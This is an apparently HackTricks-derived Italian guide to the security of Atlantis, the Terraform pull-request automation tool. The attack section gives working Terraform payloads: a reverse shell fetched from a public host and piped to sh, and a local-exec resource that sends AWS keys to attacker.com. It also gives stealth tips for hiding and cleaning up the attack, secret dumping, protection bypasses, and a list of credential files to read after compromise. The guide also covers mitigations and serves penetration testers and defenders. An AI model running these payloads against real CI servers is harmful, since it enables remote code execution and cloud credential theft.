# Sicurezza di Atlantis

{{#include ../banners/hacktricks-training.md}}

### Informazioni di Base

Atlantis aiuta fondamentalmente a eseguire terraform dalle Pull Requests dal tuo server git.

![](<../images/image (161).png>)

### Laboratorio Locale

1. Vai alla **pagina delle release di atlantis** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **scarica** quella che fa per te.
2. Crea un **token personale** (con accesso ai repo) del tuo utente **github**
3. Esegui `./atlantis testdrive` e verrà creato un **demo repo** che puoi usare per **parlare con atlantis**
1. Puoi accedere alla pagina web in 127.0.0.1:4141

### Accesso ad Atlantis

#### Credenziali del Server Git

**Atlantis** supporta diversi host git come **Github**, **Gitlab**, **Bitbucket** e **Azure DevOps**.\
Tuttavia, per accedere ai repo su queste piattaforme e eseguire azioni, è necessario avere alcuni **accessi privilegiati concessi** (almeno permessi di scrittura).\
[**La documentazione**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) incoraggia a creare un utente su queste piattaforme specificamente per Atlantis, ma alcune persone potrebbero usare account personali.

> [!WARNING]
> In ogni caso, dal punto di vista di un attaccante, l'**account di Atlantis** sarà molto **interessante** **da compromettere**.

#### Webhook

Atlantis utilizza opzionalmente [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) per convalidare che i **webhook** ricevuti dal tuo host Git siano **legittimi**.

Un modo per confermare ciò sarebbe **consentire le richieste solo dagli IP** del tuo host Git, ma un modo più semplice è utilizzare un Webhook Secret.

Nota che a meno che tu non utilizzi un server github o bitbucket privato, dovrai esporre gli endpoint webhook a Internet.

> [!WARNING]
> Atlantis andrà a **esporre webhook** affinché il server git possa inviargli informazioni. Dal punto di vista di un attaccante, sarebbe interessante sapere **se puoi inviargli messaggi**.

#### Credenziali del Provider <a href="#provider-credentials" id="provider-credentials"></a>

[Dal documento:](https://www.runatlantis.io/docs/provider-credentials.html)

Atlantis esegue Terraform semplicemente **eseguendo i comandi `terraform plan` e `apply`** sul server **su cui è ospitato Atlantis**. Proprio come quando esegui Terraform localmente, Atlantis ha bisogno di credenziali per il tuo specifico provider.

Sta a te come [fornire credenziali](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) per il tuo specifico provider ad Atlantis:

- Il [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) di Atlantis e il [Modulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) hanno i propri meccanismi per le credenziali del provider. Leggi la loro documentazione.
- Se stai eseguendo Atlantis in un cloud, molti cloud hanno modi per fornire accesso API cloud alle applicazioni in esecuzione su di essi, ad es.:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Cerca "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Molti utenti impostano variabili di ambiente, ad es. `AWS_ACCESS_KEY`, dove sta girando Atlantis.
- Altri creano i file di configurazione necessari, ad es. `~/.aws/credentials`, dove sta girando Atlantis.
- Usa il [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) per ottenere credenziali del provider.

> [!WARNING]
> Il **container** in cui **Atlantis** è **in esecuzione** conterrà molto probabilmente **credenziali privilegiate** per i provider (AWS, GCP, Github...) che Atlantis gestisce tramite Terraform.

#### Pagina Web

Per impostazione predefinita, Atlantis eseguirà una **pagina web sulla porta 4141 in localhost**. Questa pagina consente solo di abilitare/disabilitare l'applicazione di atlantis e controllare lo stato del piano dei repo e sbloccarli (non consente di modificare le cose, quindi non è molto utile).

Probabilmente non la troverai esposta su Internet, ma sembra che per impostazione predefinita **non siano necessarie credenziali** per accedervi (e se lo sono, `atlantis`:`atlantis` sono le **predefinite**).

### Configurazione del Server

La configurazione per `atlantis server` può essere specificata tramite flag da riga di comando, variabili di ambiente, un file di configurazione o un mix dei tre.

- Puoi trovare [**qui l'elenco dei flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supportati dal server di Atlantis
- Puoi trovare [**qui come trasformare un'opzione di configurazione in una variabile di ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)

I valori sono **scelti in quest'ordine**:

1. Flag
2. Variabili di Ambiente
3. File di Configurazione

> [!WARNING]
> Nota che nella configurazione potresti trovare valori interessanti come **token e password**.

#### Configurazione dei Repo

Alcune configurazioni influenzano **come vengono gestiti i repo**. Tuttavia, è possibile che **ogni repo richieda impostazioni diverse**, quindi ci sono modi per specificare ciascun repo. Questo è l'ordine di priorità:

1. File [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Questo file può essere utilizzato per specificare come atlantis dovrebbe trattare il repo. Tuttavia, per impostazione predefinita, alcune chiavi non possono essere specificate qui senza alcuni flag che lo consentano.
1. Probabilmente necessario essere consentito da flag come `allowed_overrides` o `allow_custom_workflows`
2. [**Configurazione Lato Server**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puoi passarla con il flag `--repo-config` ed è un yaml che configura nuove impostazioni per ciascun repo (regex supportati)
3. Valori **Predefiniti**

**Protezione PR**

Atlantis consente di indicare se desideri che il **PR** sia **`approvato`** da qualcun altro (anche se non è impostato nella protezione del branch) e/o essere **`mergeable`** (protezione del branch superata) **prima di eseguire apply**. Dal punto di vista della sicurezza, impostare entrambe le opzioni è raccomandato.

Nel caso in cui `allowed_overrides` sia True, queste impostazioni possono essere **sovrascritte su ciascun progetto dal file `/atlantis.yml`**.

**Script**

La configurazione del repo può **specificare script** da eseguire [**prima**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) e [**dopo**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) che un **workflow viene eseguito.**

Non c'è alcuna opzione per consentire di **specificare** questi script nel **file repo `/atlantis.yml`**.

**Workflow**

Nella configurazione del repo (configurazione lato server) puoi [**specificare un nuovo workflow predefinito**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**creare nuovi workflow personalizzati**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Puoi anche **specificare** quali **repo** possono **accedere** ai **nuovi** generati.\
Poi, puoi consentire al file **atlantis.yaml** di ciascun repo di **specificare il workflow da utilizzare.**

> [!CAUTION]
> Se il flag [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` è impostato su **True**, i workflow possono essere **specificati** nel file **`atlantis.yaml`** di ciascun repo. È anche potenzialmente necessario che **`allowed_overrides`** specifichi anche **`workflow`** per **sovrascrivere il workflow** che verrà utilizzato.\
> Questo darà fondamentalmente **RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo**.
>
> ```yaml
> # atlantis.yaml
>
> version: 3
> projects:
>
> - dir: .
>   workflow: custom1
>   workflows:
>   custom1:
>   plan:
>   steps: - init - run: my custom plan command
>   apply:
>   steps: - run: my custom apply command
> ```

**Controllo delle Politiche Conftest**

Atlantis supporta l'esecuzione di **politiche** [**conftest**](https://www.conftest.dev/) **lato server** contro l'output del piano. I casi d'uso comuni per utilizzare questo passaggio includono:

- Negare l'uso di un elenco di moduli
- Affermare gli attributi di una risorsa al momento della creazione
- Catturare eliminazioni di risorse non intenzionali
- Prevenire rischi per la sicurezza (ad es. esporre porte sicure al pubblico)

Puoi controllare come configurarlo in [**la documentazione**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).

### Comandi di Atlantis

[**Nella documentazione**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puoi trovare le opzioni che puoi utilizzare per eseguire Atlantis:
```bash
# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
```
### Attacchi

> [!WARNING]
> Se durante lo sfruttamento trovi questo **errore**: `Error: Error acquiring the state lock`

Puoi risolverlo eseguendo:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Modifica della configurazione in una nuova PR

Se hai accesso in scrittura a un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis plan`** (o forse viene eseguito automaticamente) **sarai in grado di RCE all'interno del server Atlantis**.

Puoi farlo facendo [**caricare a Atlantis una fonte di dati esterna**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Basta inserire un payload come il seguente nel file `main.tf`:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Attacco più furtivo**

Puoi eseguire questo attacco anche in modo **più furtivo**, seguendo questi suggerimenti:

- Invece di aggiungere direttamente la rev shell nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa come: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Invece** di creare una **PR per master** per attivare Atlantis, **crea 2 branch** (test1 e test2) e crea una **PR da uno all'altro**. Quando hai completato l'attacco, semplicemente **rimuovi la PR e i branch**.

#### Dump dei segreti del piano di Atlantis

Puoi **dumpare i segreti usati da terraform** eseguendo `atlantis plan` (`terraform plan`) mettendo qualcosa del genere nel file terraform:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
#### Atlantis applica RCE - Modifica della configurazione in una nuova PR

Se hai accesso in scrittura su un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis apply`, sarai in grado di RCE all'interno del server Atlantis**.

Tuttavia, di solito dovrai bypassare alcune protezioni:

- **Mergeable**: Se questa protezione è impostata in Atlantis, puoi eseguire **`atlantis apply` solo se la PR è mergeable** (il che significa che la protezione del branch deve essere bypassata).
- Controlla i potenziali [**bypass delle protezioni del branch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: Se questa protezione è impostata in Atlantis, **un altro utente deve approvare la PR** prima che tu possa eseguire `atlantis apply`
- Per impostazione predefinita, puoi abusare del [**token Gitbot per bypassare questa protezione**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)

Eseguendo **`terraform apply` su un file Terraform malevolo con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Devi solo assicurarti che un payload come i seguenti termini nel file `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Segui i **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più furtivo**.

#### Iniezione di Parametri Terraform

Quando esegui `atlantis plan` o `atlantis apply`, terraform viene eseguito sotto, puoi passare comandi a terraform da atlantis commentando qualcosa come:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Qualcosa che puoi passare sono le variabili di ambiente che potrebbero essere utili per bypassare alcune protezioni. Controlla le variabili di ambiente di terraform in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)

#### Workflow personalizzato

Eseguendo **comandi di build personalizzati malevoli** specificati in un file `atlantis.yaml`. Atlantis utilizza il file `atlantis.yaml` dal ramo della pull request, **non** da `master`.\
Questa possibilità è stata menzionata in una sezione precedente:

> [!CAUTION]
> Se il flag [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` è impostato su **True**, i workflow possono essere **specificati** nel file **`atlantis.yaml`** di ciascun repo. È anche potenzialmente necessario che **`allowed_overrides`** specifichi anche **`workflow`** per **sovrascrivere il workflow** che verrà utilizzato.
>
> Questo darà fondamentalmente **RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo**.
>
> ```yaml
> # atlantis.yaml
> version: 3
> projects:
>   - dir: .
>     workflow: custom1
> workflows:
>   custom1:
>     plan:
>       steps:
>         - init
>         - run: my custom plan command
>     apply:
>       steps:
>         - run: my custom apply command
> ```

#### Bypassare le protezioni di plan/apply

Se il flag [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ha_ `apply_requirements` configurato, è possibile per un repo **modificare le protezioni di plan/apply per bypassarle**.
```yaml
repos:
- id: /.*/
apply_requirements: []
```
#### PR Hijacking

Se qualcuno invia commenti **`atlantis plan/apply` sui tuoi pull request validi,** farà sì che terraform venga eseguito quando non lo desideri.

Inoltre, se non hai configurato nella **protezione del branch** di chiedere di **ri-valutare** ogni PR quando viene **inviato un nuovo commit** ad esso, qualcuno potrebbe **scrivere configurazioni malevole** (controlla gli scenari precedenti) nella configurazione di terraform, eseguire `atlantis plan/apply` e ottenere RCE.

Questa è la **configurazione** nelle protezioni del branch di Github:

![](<../images/image (216).png>)

#### Webhook Secret

Se riesci a **rubare il webhook secret** utilizzato o se **non c'è alcun webhook secret** in uso, potresti **chiamare il webhook di Atlantis** e **invochare comandi atlatis** direttamente.

#### Bitbucket

Bitbucket Cloud **non supporta i webhook secret**. Questo potrebbe consentire agli attaccanti di **falsificare richieste da Bitbucket**. Assicurati di consentire solo gli IP di Bitbucket.

- Questo significa che un **attaccante** potrebbe fare **richieste false ad Atlantis** che sembrano provenire da Bitbucket.
- Se stai specificando `--repo-allowlist`, allora potrebbero solo falsificare richieste relative a quei repo, quindi il danno maggiore che potrebbero fare sarebbe pianificare/applicare sui tuoi stessi repo.
- Per prevenire questo, consenti solo gli [indirizzi IP di Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vedi indirizzi IPv4 in uscita).

### Post-Exploitation

Se sei riuscito ad accedere al server o almeno hai ottenuto un LFI, ci sono alcune cose interessanti che dovresti provare a leggere:

- `/home/atlantis/.git-credentials` Contiene credenziali di accesso vcs
- `/atlantis-data/atlantis.db` Contiene credenziali di accesso vcs con più informazioni
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` File di stato di terraform
- Esempio: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Variabili d'ambiente
- `/proc/[2-20]/cmdline` Cmd line di `atlantis server` (potrebbe contenere dati sensibili)

### Mitigations

#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>

Poiché chiunque può commentare sui pull request pubblici, anche con tutte le mitigazioni di sicurezza disponibili, è comunque pericoloso eseguire Atlantis su repo pubblici senza una corretta configurazione delle impostazioni di sicurezza.

#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>

Se stai eseguendo su un repo pubblico (cosa non raccomandata, vedi sopra) non dovresti impostare `--allow-fork-prs` (di default è false) perché chiunque può aprire un pull request dal proprio fork al tuo repo.

#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>

Atlantis richiede di specificare una lista di autorizzazione di repository da cui accetterà webhook tramite il flag `--repo-allowlist`. Ad esempio:

- Repository specifici: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- L'intera tua organizzazione: `--repo-allowlist=github.com/runatlantis/*`
- Ogni repository nella tua installazione di GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
- Tutti i repository: `--repo-allowlist=*`. Utile quando sei in una rete protetta ma pericoloso senza impostare anche un webhook secret.

Questo flag garantisce che la tua installazione di Atlantis non venga utilizzata con repository che non controlli. Vedi `atlantis server --help` per ulteriori dettagli.

#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>

Se gli attaccanti inviano pull request con codice Terraform malevolo è nel tuo modello di minaccia, allora devi essere consapevole che le approvazioni di `terraform apply` non sono sufficienti. È possibile eseguire codice malevolo in un `terraform plan` utilizzando la [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o specificando un provider malevolo. Questo codice potrebbe quindi esfiltrare le tue credenziali.

Per prevenire questo, potresti:

1. Includere i provider nell'immagine di Atlantis o ospitarli e negare l'uscita in produzione.
2. Implementare internamente il protocollo del registro dei provider e negare l'uscita pubblica, in questo modo controlli chi ha accesso in scrittura al registro.
3. Modificare il tuo [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step per convalidare l'uso di provider o data source non consentiti o PR da utenti non autorizzati. Potresti anche aggiungere una convalida extra a questo punto, ad esempio richiedendo un "pollice in su" sul PR prima di consentire la continuazione del `plan`. Conftest potrebbe essere utile qui.

#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>

Atlantis dovrebbe essere eseguito con i webhook secret impostati tramite le variabili d'ambiente `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Anche con il flag `--repo-allowlist` impostato, senza un webhook secret, gli attaccanti potrebbero fare richieste ad Atlantis spacciandosi per un repository autorizzato. I webhook secret garantiscono che le richieste webhook provengano effettivamente dal tuo fornitore VCS (GitHub o GitLab).

Se stai usando Azure DevOps, invece dei webhook secret aggiungi un nome utente e una password di base.

#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>

Azure DevOps supporta l'invio di un'intestazione di autenticazione di base in tutti gli eventi webhook. Questo richiede l'uso di un URL HTTPS per la tua posizione webhook.

#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>

Se stai usando webhook secret ma il tuo traffico è su HTTP, allora i webhook secret potrebbero essere rubati. Abilita SSL/HTTPS utilizzando i flag `--ssl-cert-file` e `--ssl-key-file`.

#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>

È molto raccomandato abilitare l'autenticazione nel servizio web. Abilita BasicAuth utilizzando `--web-basic-auth=true` e imposta un nome utente e una password utilizzando i flag `--web-username=yourUsername` e `--web-password=yourPassword`.

Puoi anche passare questi come variabili d'ambiente `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` e `ATLANTIS_WEB_PASSWORD=yourPassword`.

### References

- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)

{{#include ../banners/hacktricks-training.md}}
